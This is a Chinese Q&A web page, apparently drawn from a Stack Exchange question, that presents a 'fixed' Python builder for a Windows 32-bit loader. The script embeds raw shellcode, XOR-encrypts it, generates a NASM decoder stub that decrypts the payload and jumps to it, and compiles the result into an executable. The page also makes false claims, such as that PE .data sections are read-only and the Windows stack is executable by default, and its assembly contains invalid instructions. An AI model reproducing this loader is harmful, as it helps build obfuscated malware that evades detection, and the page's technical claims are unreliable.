You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何生成的Windows 32位可执行文件无法正常运行?

XOR加密Shellcode解码器Stub修复方案

原代码核心问题

  • .data段权限限制:Windows PE文件的.data段默认是只读属性,直接在该段执行XOR写入操作会触发内存访问违规。
  • 循环逻辑缺失初始化:loop指令依赖ecx寄存器存储循环次数,原代码未设置ecx值,导致循环行为不可控。
  • 加解密逻辑不匹配:加密时用密钥\xAA\xBB\xCC循环异或(每3字节重复密钥),但解码器硬编码连续异或3个密钥字节,仅能处理长度为3倍数的shellcode,还会越界访问内存。
  • Shellcode存储与跳转错误:原代码预留栈空间但未复制加密shellcode到栈,解密操作直接修改只读的.data段,最终跳转的栈地址无有效代码。

修复后的完整代码

import os

if __name__ == "__main__": 
    
    shellcode =  b""
    shellcode += b"\xba\x37\xab\x0e\xdf\xd9\xeb\xd9\x74\x24\xf4\x5e"
    shellcode += b"\x33\xc9\xb1\x1f\x31\x56\x15\x03\x56\x15\x83\xc6"
    shellcode += b"\x04\xe2\xc2\xc1\x04\x81\x1d\xcd\xee\xde\x0e\xb2"
    shellcode += b"\x43\x4b\xb2\x84\x02\x02\x53\x29\x4a\x83\xc8\xda"
    shellcode += b"\x34\xac\xee\x1b\xa3\xae\xee\xa9\x5d\x26\x0f\xa7"
    shellcode += b"\xc7\x60\x9f\x69\x5f\x18\xfe\xc9\x92\x9a\x85\x0e"
    shellcode += b"\x55\x82\xcb\xfa\x9b\xdc\x71\x02\xe4\x1c\x2d\x69"
    shellcode += b"\xe4\x76\xc8\xe4\x07\xb7\x1b\x3b\x47\x3d\x5b\xbd"
    shellcode += b"\xf5\xd5\x7c\x8c\x01\x93\x82\xe0\x0d\xe3\x0b\xe3"
    shellcode += b"\xcf\x08\x07\x25\x2c\xc2\xa7\xd8\x7e\x5b\x42\xe2"
    shellcode += b"\xf9\x4c\x17\x6a\x18\xf5\x15\x48\x6b\x05\x94\x11"
    shellcode += b"\x0e\xca\x5e\x10\xee\x2a\x26\x15\x10\xad\x56\xad"
    shellcode += b"\x11\xad\x56\xd1\xdc\x2d"
    
    # XOR密钥
    secret_key = b"\xAA\xBB\xCC"

    # 执行XOR加密
    encrypted_shellcode = bytes(data_byte ^ secret_key[i % len(secret_key)] for i, data_byte in enumerate(shellcode))

    # 生成修正后的解码器Stub
    decoder_stub = b'''
    section .text
    global _start
    
    _start:
        ; 将加密shellcode从.data复制到栈(栈具备可写可执行权限)
        lea esi, [shellcode]       ; ESI指向.data段的加密shellcode
        mov ecx, shellcode_len     ; ECX设置为shellcode长度,作为复制循环次数
        lea edi, [esp - ecx]       ; EDI指向栈上预留的存储地址
        rep movsb                  ; 复制ECX字节到栈空间
        
        ; 初始化解密循环
        mov esi, edi               ; ESI指向栈上的加密shellcode
        mov ecx, shellcode_len     ; ECX重置为shellcode长度,作为解密循环次数
        xor edx, edx               ; EDX用作密钥索引计数器,初始为0
    
    decoder:
        ; 按索引匹配密钥字节异或(和加密逻辑一致:i%3)
        xor byte [esi], secret_key[edx]
        inc esi                    ; 移动到下一个shellcode字节
        inc edx                    ; 移动到下一个密钥字节
        cmp edx, 3                 ; 判断是否到达密钥末尾
        jne skip_reset             ; 未到达则继续
        xor edx, edx               ; 到达则重置密钥索引
    skip_reset:
        loop decoder               ; ECX自减,直到为0结束循环
        
        ; 跳转到栈上的解密后shellcode
        jmp edi
    
    section .data
        secret_key db 0xAA, 0xBB, 0xCC
        shellcode db ''' + b"," .join([bytes(f"0x{byte:02x}", "utf-8") for byte in encrypted_shellcode]) + b'''
        shellcode_len equ $ - shellcode
    '''

    # 保存汇编代码到文件
    with open("decrypt32.asm", "wb") as file:
        file.write(decoder_stub)

    # 汇编并编译为可执行文件
    os.system("nasm -fwin32 -o decrypt32.obj decrypt32.asm")
    os.system("i686-w64-mingw32-gcc -nostartfiles -o decrypt32.exe decrypt32.obj -lkernel32 -luser32 -ladvapi32 -lshell32")

关键修复说明

  1. 内存权限适配:将加密shellcode复制到栈上执行,Windows栈默认具备可写可执行权限,规避了.data段只读的限制。
  2. 循环逻辑标准化:初始化ecx为shellcode长度,确保循环次数准确;用edx跟踪密钥索引,循环复用密钥字节,完全匹配加密逻辑。
  3. 加解密逻辑对齐:解码器逐字节使用对应索引的密钥字节异或,无论shellcode长度是否为3的倍数,都能正确解密所有字节。
  4. 跳转地址修正:直接跳转到栈上存放解密后shellcode的地址,确保执行的是正确的解密后代码。

内容的提问来源于stack exchange,提问作者the man

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.15 03:02:32